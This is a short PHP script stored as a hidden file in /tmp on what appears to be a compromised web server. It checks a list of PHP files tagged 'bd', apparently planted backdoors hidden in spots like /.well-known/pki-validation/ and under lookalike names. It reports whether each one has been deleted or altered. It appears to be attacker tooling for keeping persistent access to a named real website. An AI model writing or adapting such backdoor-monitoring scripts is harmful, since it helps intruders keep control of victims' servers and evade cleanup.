File: //tmp/.val
<?php $r = '/home/vitanhod/vigolic-10.vitavit.com.pk'; $x = ["/orderemail_bk.php"=>"bd@@1314816@@41",
"/.well-known/lang_se.php"=>"bd@@1312779@@65",
"/ot_tax.php"=>"bd@@1309810@@879",
"/.well-known/pki-validation/U.php"=>"bd@@1313235@@927",
"/img/account.php"=>"bd@@1311216@@964",
"/ot_tax.php"=>"bd@@1315093@@96",
"/.well-known/pki-validation/U.php"=>"bd@@1314895@@62",
"/.well-known/lang.se.php"=>"bd@@1315154@@944",
"/includes/DWLSTransients.php"=>"bd@@1310620@@926",
"/includes/DWLSTransients.php"=>"bd@@1315044@@61"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');